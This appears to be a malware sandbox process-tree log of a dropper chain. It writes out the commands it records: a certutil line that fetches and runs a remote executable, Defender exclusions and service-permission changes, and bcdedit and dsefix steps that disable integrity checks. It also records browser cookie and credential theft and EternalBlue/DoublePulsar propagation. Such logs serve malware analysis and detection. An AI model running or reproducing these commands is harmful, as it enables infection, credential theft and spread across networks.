C:\Users\Admin\AppData\Local\Temp\is-05NB2.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-05NB2.tmp\Setup3310.tmp" /SL5="$30104,138429,56832,C:\Users\Admin\AppData\Local\Temp\Setup3310.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:2024 -
C:\Users\Admin\AppData\Local\Temp\is-EDOUM.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-EDOUM.tmp\Setup.exe" /Verysilent3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:784 -
C:\Users\Admin\AppData\Local\Temp\is-2MI4A.tmp\Setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-2MI4A.tmp\Setup.tmp" /SL5="$201A0,138429,56832,C:\Users\Admin\AppData\Local\Temp\is-EDOUM.tmp\Setup.exe" /Verysilent4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:916 -
C:\Users\Admin\AppData\Local\Temp\is-EHIF9.tmp\Delta.exe"C:\Users\Admin\AppData\Local\Temp\is-EHIF9.tmp\Delta.exe" /Verysilent5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1104 -
C:\Users\Admin\AppData\Local\Temp\is-OVKL6.tmp\Delta.tmp"C:\Users\Admin\AppData\Local\Temp\is-OVKL6.tmp\Delta.tmp" /SL5="$10202,898740,56832,C:\Users\Admin\AppData\Local\Temp\is-EHIF9.tmp\Delta.exe" /Verysilent6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:1612 -
C:\Users\Admin\AppData\Local\Temp\is-JSKRV.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-JSKRV.tmp\Setup.exe" /VERYSILENT7⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1468 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im Setup.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\is-JSKRV.tmp\Setup.exe" & del C:\ProgramData\*.dll & exit8⤵PID:2220
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im Setup.exe /f9⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2276 -
C:\Windows\SysWOW64\timeout.exetimeout /t 69⤵
- Delays execution with timeout.exe
PID:2396 -
C:\Users\Admin\AppData\Local\Temp\is-EHIF9.tmp\PictureLAb.exe"C:\Users\Admin\AppData\Local\Temp\is-EHIF9.tmp\PictureLAb.exe" /Verysilent5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:324 -
C:\Users\Admin\AppData\Local\Temp\is-8AFPE.tmp\PictureLAb.tmp"C:\Users\Admin\AppData\Local\Temp\is-8AFPE.tmp\PictureLAb.tmp" /SL5="$20202,1574549,56832,C:\Users\Admin\AppData\Local\Temp\is-EHIF9.tmp\PictureLAb.exe" /Verysilent6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:668 -
C:\Users\Admin\AppData\Local\Temp\is-3BO88.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-3BO88.tmp\Setup.exe" /VERYSILENT7⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2016 -
C:\Users\Admin\AppData\Local\Temp\is-IMJCF.tmp\Setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-IMJCF.tmp\Setup.tmp" /SL5="$40166,298214,214528,C:\Users\Admin\AppData\Local\Temp\is-3BO88.tmp\Setup.exe" /VERYSILENT8⤵
- Executes dropped EXE
- Loads dropped DLL
PID:612 -
C:\Users\Admin\AppData\Local\Temp\is-EJNRG.tmp\HGT.exe"C:\Users\Admin\AppData\Local\Temp\is-EJNRG.tmp\HGT.exe" /S /UID=lab2149⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Adds Run key to start application
- Drops file in Program Files directory
- Modifies system certificate store
PID:1620 -
C:\Program Files\Windows Sidebar\OKDWAPJWML\prolab.exe"C:\Program Files\Windows Sidebar\OKDWAPJWML\prolab.exe" /VERYSILENT10⤵
- Executes dropped EXE
- Loads dropped DLL
PID:1988 -
C:\Users\Admin\AppData\Local\Temp\is-06R9C.tmp\prolab.tmp"C:\Users\Admin\AppData\Local\Temp\is-06R9C.tmp\prolab.tmp" /SL5="$8015C,575243,216576,C:\Program Files\Windows Sidebar\OKDWAPJWML\prolab.exe" /VERYSILENT11⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
PID:928 -
C:\Users\Admin\AppData\Local\Temp\f8-b8d4d-d8c-f3db3-8a099a20d9799\Suliqecyjae.exe"C:\Users\Admin\AppData\Local\Temp\f8-b8d4d-d8c-f3db3-8a099a20d9799\Suliqecyjae.exe"10⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:468 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\xsmeh4bz.bcu\gaooo.exe & exit11⤵PID:3996
-
C:\Users\Admin\AppData\Local\Temp\xsmeh4bz.bcu\gaooo.exeC:\Users\Admin\AppData\Local\Temp\xsmeh4bz.bcu\gaooo.exe12⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Modifies system certificate store
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:4052 -
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt13⤵
- Executes dropped EXE
PID:2532 -
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt13⤵
- Executes dropped EXE
PID:3720 -
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt13⤵
- Executes dropped EXE
PID:15380 -
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt13⤵PID:5444
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\0g3c3yry.kyg\md7_7dfj.exe & exit11⤵PID:16752
-
C:\Users\Admin\AppData\Local\Temp\0g3c3yry.kyg\md7_7dfj.exeC:\Users\Admin\AppData\Local\Temp\0g3c3yry.kyg\md7_7dfj.exe12⤵
- Executes dropped EXE
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:16816 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\nrtgiv1e.qjs\askinstall29.exe & exit11⤵PID:17044
-
C:\Users\Admin\AppData\Local\Temp\nrtgiv1e.qjs\askinstall29.exeC:\Users\Admin\AppData\Local\Temp\nrtgiv1e.qjs\askinstall29.exe12⤵
- Executes dropped EXE
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:17092 -
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe13⤵PID:3716
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe14⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4104 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ywpmvrga.xwc\customer4.exe & exit11⤵PID:7696
-
C:\Users\Admin\AppData\Local\Temp\ywpmvrga.xwc\customer4.exeC:\Users\Admin\AppData\Local\Temp\ywpmvrga.xwc\customer4.exe12⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:7740 -
C:\Users\Admin\AppData\Local\Temp\RarSFX0\main.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX0\main.exe"13⤵
- Executes dropped EXE
- Loads dropped DLL
PID:7856 -
C:\Users\Admin\AppData\Local\Temp\RarSFX0\parse.exeparse.exe -f json -b firefox14⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:9572 -
C:\Users\Admin\AppData\Local\Temp\RarSFX0\parse.exeparse.exe -f json -b edge14⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:9612 -
C:\Users\Admin\AppData\Local\Temp\RarSFX0\parse.exeparse.exe -f json -b chrome14⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:9588 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\fdjdkelw.akk\GcleanerWW.exe /mixone & exit11⤵PID:8104
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ss2hbpf5.gzb\privacytools5.exe & exit11⤵PID:8308
-
C:\Users\Admin\AppData\Local\Temp\ss2hbpf5.gzb\privacytools5.exeC:\Users\Admin\AppData\Local\Temp\ss2hbpf5.gzb\privacytools5.exe12⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:8360 -
C:\Users\Admin\AppData\Local\Temp\ss2hbpf5.gzb\privacytools5.exeC:\Users\Admin\AppData\Local\Temp\ss2hbpf5.gzb\privacytools5.exe13⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:8700 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\advqguja.she\setup.exe /8-2222 & exit11⤵PID:8836
-
C:\Users\Admin\AppData\Local\Temp\advqguja.she\setup.exeC:\Users\Admin\AppData\Local\Temp\advqguja.she\setup.exe /8-222212⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious behavior: CmdExeWriteProcessMemorySpam
PID:8884 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Program Files (x86)\White-Lake"13⤵
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
PID:8928 -
C:\Program Files (x86)\White-Lake\7za.exe"C:\Program Files (x86)\White-Lake\7za.exe" e -p154.61.71.51 winamp-plugins.7z13⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
PID:10488 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ""C:\Program Files (x86)\White-Lake\setup.exe" -map "C:\Program Files (x86)\White-Lake\WinmonProcessMonitor.sys""13⤵PID:10552
-
C:\Program Files (x86)\White-Lake\setup.exe"C:\Program Files (x86)\White-Lake\setup.exe" -map "C:\Program Files (x86)\White-Lake\WinmonProcessMonitor.sys"14⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious behavior: LoadsDriver
- Suspicious use of AdjustPrivilegeToken
PID:10588 -
C:\Program Files (x86)\White-Lake\7za.exe"C:\Program Files (x86)\White-Lake\7za.exe" e -p154.61.71.51 winamp.7z13⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
PID:10752 -
C:\Program Files (x86)\White-Lake\setup.exe"C:\Program Files (x86)\White-Lake\setup.exe" /8-222213⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:10824 -
C:\Program Files (x86)\White-Lake\setup.exe"C:\Program Files (x86)\White-Lake\setup.exe" /8-222214⤵
- Executes dropped EXE
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Modifies data under HKEY_USERS
PID:11864 -
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"15⤵PID:12680
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes16⤵
- Modifies data under HKEY_USERS
PID:12716 -
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe /8-222215⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
PID:12804 -
C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F16⤵
- Creates scheduled task(s)
PID:13756 -
C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F16⤵
- Creates scheduled task(s)
PID:13796 -
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"16⤵
- Executes dropped EXE
- Modifies system certificate store
PID:13860 -
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER17⤵
- Modifies boot configuration data using bcdedit
PID:14848 -
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:17⤵
- Modifies boot configuration data using bcdedit
PID:14876 -
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:17⤵
- Modifies boot configuration data using bcdedit
PID:14900 -
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows17⤵
- Modifies boot configuration data using bcdedit
PID:14924 -
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe17⤵
- Modifies boot configuration data using bcdedit
PID:14944 -
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe17⤵
- Modifies boot configuration data using bcdedit
PID:14968 -
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 017⤵
- Modifies boot configuration data using bcdedit
PID:14992 -
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn17⤵
- Modifies boot configuration data using bcdedit
PID:15020 -
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 117⤵
- Modifies boot configuration data using bcdedit
PID:15044 -
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}17⤵
- Modifies boot configuration data using bcdedit
PID:15068 -
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast17⤵
- Modifies boot configuration data using bcdedit
PID:15092 -
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -timeout 017⤵
- Modifies boot configuration data using bcdedit
PID:15116 -
C:\Windows\system32\bcdedit.exeC:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}17⤵
- Modifies boot configuration data using bcdedit
PID:15140 -
C:\Windows\system32\bcdedit.exeC:\Windows\Sysnative\bcdedit.exe /v16⤵
- Modifies boot configuration data using bcdedit
PID:15176 -
C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exeC:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe16⤵
- Executes dropped EXE
PID:15216 -
C:\Windows\windefender.exe"C:\Windows\windefender.exe"16⤵
- Executes dropped EXE
PID:15916 -
C:\Windows\SysWOW64\cmd.execmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)17⤵PID:15952
-
C:\Windows\SysWOW64\sc.exesc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)18⤵
- Suspicious use of AdjustPrivilegeToken
PID:15984 -
C:\Users\Admin\AppData\Local\Temp\csrss\ww31.exeC:\Users\Admin\AppData\Local\Temp\csrss\ww31.exe16⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
PID:7048 -
C:\Users\Admin\AppData\Local\Temp\csrss\updateprofile-15.exeC:\Users\Admin\AppData\Local\Temp\csrss\updateprofile-15.exe16⤵
- Executes dropped EXE
PID:7148 -
C:\Users\Admin\AppData\Local\Temp\csrss\updateprofile-15.exe"C:\Users\Admin\AppData\Local\Temp\csrss\updateprofile-15.exe"17⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:7276 -
C:\Users\Admin\AppData\Local\Temp\csrss\u20200626.exeC:\Users\Admin\AppData\Local\Temp\csrss\u20200626.exe16⤵
- Executes dropped EXE
PID:7228 -
C:\Users\Admin\AppData\Local\Temp\csrss\u20200626.exe"C:\Users\Admin\AppData\Local\Temp\csrss\u20200626.exe"17⤵
- Executes dropped EXE
PID:7404 -
C:\Users\Admin\AppData\Local\Temp\csrss\getfp.exeC:\Users\Admin\AppData\Local\Temp\csrss\getfp.exe16⤵
- Executes dropped EXE
PID:7352 -
C:\Users\Admin\AppData\Local\Temp\csrss\getfp.exe"C:\Users\Admin\AppData\Local\Temp\csrss\getfp.exe"17⤵
- Executes dropped EXE
PID:7444 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" http://humisnee.com/test.php?uuid=84b3c12f-8574-49aa-a4a6-10034aba685e&browser=chrome18⤵
- Suspicious use of FindShellTrayWindow
PID:7532 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0xbc,0xc0,0xc4,0x90,0xc8,0x7fef1366e00,0x7fef1366e10,0x7fef1366e2019⤵
- Drops file in Program Files directory
PID:7544 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1080,16247339666407306680,10975511311591926116,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1196 /prefetch:819⤵PID:17140
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1080,16247339666407306680,10975511311591926116,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2256 /prefetch:819⤵PID:3668
-
C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe"C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe" --configure-user-settings --verbose-logging --system-level --force-configure-user-settings19⤵PID:3664
-
C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe"C:\Program Files\Google\Chrome\Application\86.0.4240.111\Installer\chrmstp.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\Crashpad --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0x13c,0x140,0x144,0x110,0x148,0x13ffb7740,0x13ffb7750,0x13ffb776020⤵PID:3772
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1080,16247339666407306680,10975511311591926116,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2264 /prefetch:819⤵PID:4264
-
C:\Users\Admin\AppData\Local\Temp\csrss\mg20201223-1.exeC:\Users\Admin\AppData\Local\Temp\csrss\mg20201223-1.exe16⤵
- Executes dropped EXE
PID:7552 -
C:\Users\Admin\AppData\Local\Temp\csrss\ml20201223.exeC:\Users\Admin\AppData\Local\Temp\csrss\ml20201223.exe16⤵
- Executes dropped EXE
PID:7640 -
C:\Users\Admin\AppData\Local\Temp\csrss\m672.exeC:\Users\Admin\AppData\Local\Temp\csrss\m672.exe16⤵
- Executes dropped EXE
PID:7772 -
C:\Windows\SysWOW64\arp.exearp -a 10.7.0.9316⤵PID:9268
-
C:\Windows\SysWOW64\arp.exearp -a 10.7.0.7216⤵PID:9240
-
C:\Windows\SysWOW64\arp.exearp -a 10.7.0.6716⤵PID:9356
-
C:\Windows\SysWOW64\arp.exearp -a 10.7.0.8116⤵PID:7440
-
C:\Windows\SysWOW64\arp.exearp -a 10.7.0.8316⤵PID:9412
-
C:\Windows\SysWOW64\arp.exearp -a 10.7.0.7616⤵PID:9432
-
C:\Windows\SysWOW64\arp.exearp -a 10.7.0.8516⤵PID:9444
-
C:\Windows\SysWOW64\arp.exearp -a 10.7.0.6816⤵PID:9292
-
C:\Windows\SysWOW64\arp.exearp -a 10.7.0.7916⤵PID:9276
-
C:\Windows\SysWOW64\arp.exearp -a 10.7.0.6516⤵PID:908
-
C:\Windows\SysWOW64\arp.exearp -a 10.7.0.7516⤵PID:7988
-
C:\Windows\SysWOW64\arp.exearp -a 10.7.0.8816⤵PID:8036
-
C:\Windows\SysWOW64\arp.exearp -a 10.7.0.9116⤵PID:8044
-
C:\Windows\SysWOW64\arp.exearp -a 10.7.0.8416⤵PID:1804
-
C:\Windows\SysWOW64\arp.exearp -a 10.7.0.7316⤵PID:8100
-
C:\Windows\SysWOW64\arp.exearp -a 10.7.0.8716⤵PID:8176
-
C:\Users\Admin\AppData\Local\Temp\csrss\smb\FNRIrHtPrwwOkXCk\Eternalblue-2.2.0.exeC:\Users\Admin\AppData\Local\Temp\csrss\smb\FNRIrHtPrwwOkXCk\Eternalblue-2.2.0.exe16⤵
- Executes dropped EXE
PID:8220 -
C:\Users\Admin\AppData\Local\Temp\csrss\smb\tYhtlFOWwl\Eternalblue-2.2.0.exeC:\Users\Admin\AppData\Local\Temp\csrss\smb\tYhtlFOWwl\Eternalblue-2.2.0.exe16⤵PID:8256
-
C:\Users\Admin\AppData\Local\Temp\csrss\smb\OzVOncyPiIthpOHingnFLUN\Eternalblue-2.2.0.exeC:\Users\Admin\AppData\Local\Temp\csrss\smb\OzVOncyPiIthpOHingnFLUN\Eternalblue-2.2.0.exe16⤵PID:8300
-
C:\Users\Admin\AppData\Local\Temp\csrss\smb\FNRIrHtPrwwOkXCk\Doublepulsar-1.3.1.exeC:\Users\Admin\AppData\Local\Temp\csrss\smb\FNRIrHtPrwwOkXCk\Doublepulsar-1.3.1.exe16⤵PID:8380
-
C:\Users\Admin\AppData\Local\Temp\csrss\smb\QaLCDDYyAGrAjCdfzDyqXlufcHnl\Eternalblue-2.2.0.exeC:\Users\Admin\AppData\Local\Temp\csrss\smb\QaLCDDYyAGrAjCdfzDyqXlufcHnl\Eternalblue-2.2.0.exe16⤵PID:8092
-
C:\Users\Admin\AppData\Local\Temp\csrss\smb\FNRIrHtPrwwOkXCk\Eternalblue-2.2.0.exeC:\Users\Admin\AppData\Local\Temp\csrss\smb\FNRIrHtPrwwOkXCk\Eternalblue-2.2.0.exe16⤵PID:9928
-
C:\Users\Admin\AppData\Local\Temp\csrss\smb\tYhtlFOWwl\Doublepulsar-1.3.1.exeC:\Users\Admin\AppData\Local\Temp\csrss\smb\tYhtlFOWwl\Doublepulsar-1.3.1.exe16⤵PID:9968
-
C:\Users\Admin\AppData\Local\Temp\csrss\smb\QaLCDDYyAGrAjCdfzDyqXlufcHnl\Doublepulsar-1.3.1.exeC:\Users\Admin\AppData\Local\Temp\csrss\smb\QaLCDDYyAGrAjCdfzDyqXlufcHnl\Doublepulsar-1.3.1.exe16⤵PID:9428
-
C:\Users\Admin\AppData\Local\Temp\csrss\smb\tYhtlFOWwl\Eternalblue-2.2.0.exeC:\Users\Admin\AppData\Local\Temp\csrss\smb\tYhtlFOWwl\Eternalblue-2.2.0.exe16⤵PID:11004
-
C:\Users\Admin\AppData\Local\Temp\csrss\smb\QaLCDDYyAGrAjCdfzDyqXlufcHnl\Eternalblue-2.2.0.exeC:\Users\Admin\AppData\Local\Temp\csrss\smb\QaLCDDYyAGrAjCdfzDyqXlufcHnl\Eternalblue-2.2.0.exe16⤵PID:9896
-
C:\Users\Admin\AppData\Local\Temp\csrss\smb\OzVOncyPiIthpOHingnFLUN\Doublepulsar-1.3.1.exeC:\Users\Admin\AppData\Local\Temp\csrss\smb\OzVOncyPiIthpOHingnFLUN\Doublepulsar-1.3.1.exe16⤵PID:9960
-
C:\Users\Admin\AppData\Local\Temp\csrss\smb\OzVOncyPiIthpOHingnFLUN\Eternalblue-2.2.0.exeC:\Users\Admin\AppData\Local\Temp\csrss\smb\OzVOncyPiIthpOHingnFLUN\Eternalblue-2.2.0.exe16⤵PID:11988
-
C:\Users\Admin\AppData\Local\Temp\csrss\smb\tYhtlFOWwl\Eternalblue-2.2.0.exeC:\Users\Admin\AppData\Local\Temp\csrss\smb\tYhtlFOWwl\Eternalblue-2.2.0.exe16⤵PID:12992
-
C:\Users\Admin\AppData\Local\Temp\csrss\smb\QaLCDDYyAGrAjCdfzDyqXlufcHnl\Eternalblue-2.2.0.exeC:\Users\Admin\AppData\Local\Temp\csrss\smb\QaLCDDYyAGrAjCdfzDyqXlufcHnl\Eternalblue-2.2.0.exe16⤵PID:13032
-
C:\Users\Admin\AppData\Local\Temp\csrss\smb\FNRIrHtPrwwOkXCk\Eternalblue-2.2.0.exeC:\Users\Admin\AppData\Local\Temp\csrss\smb\FNRIrHtPrwwOkXCk\Eternalblue-2.2.0.exe16⤵PID:13068
-
C:\Users\Admin\AppData\Local\Temp\csrss\smb\OzVOncyPiIthpOHingnFLUN\Doublepulsar-1.3.1.exeC:\Users\Admin\AppData\Local\Temp\csrss\smb\OzVOncyPiIthpOHingnFLUN\Doublepulsar-1.3.1.exe16⤵PID:13104
-
C:\Users\Admin\AppData\Local\Temp\csrss\smb\OzVOncyPiIthpOHingnFLUN\Eternalblue-2.2.0.exeC:\Users\Admin\AppData\Local\Temp\csrss\smb\OzVOncyPiIthpOHingnFLUN\Eternalblue-2.2.0.exe16⤵PID:6408
-
C:\Users\Admin\AppData\Local\Temp\csrss\smb\tYhtlFOWwl\Eternalblue-2.2.0.exeC:\Users\Admin\AppData\Local\Temp\csrss\smb\tYhtlFOWwl\Eternalblue-2.2.0.exe16⤵PID:14320
-
C:\Users\Admin\AppData\Local\Temp\csrss\smb\QaLCDDYyAGrAjCdfzDyqXlufcHnl\Eternalblue-2.2.0.exeC:\Users\Admin\AppData\Local\Temp\csrss\smb\QaLCDDYyAGrAjCdfzDyqXlufcHnl\Eternalblue-2.2.0.exe16⤵PID:9760
-
C:\Users\Admin\AppData\Local\Temp\csrss\smb\FNRIrHtPrwwOkXCk\Eternalblue-2.2.0.exeC:\Users\Admin\AppData\Local\Temp\csrss\smb\FNRIrHtPrwwOkXCk\Eternalblue-2.2.0.exe16⤵PID:14420
-
C:\Users\Admin\AppData\Local\Temp\csrss\smb\OzVOncyPiIthpOHingnFLUN\Eternalblue-2.2.0.exeC:\Users\Admin\AppData\Local\Temp\csrss\smb\OzVOncyPiIthpOHingnFLUN\Eternalblue-2.2.0.exe16⤵PID:6140
-
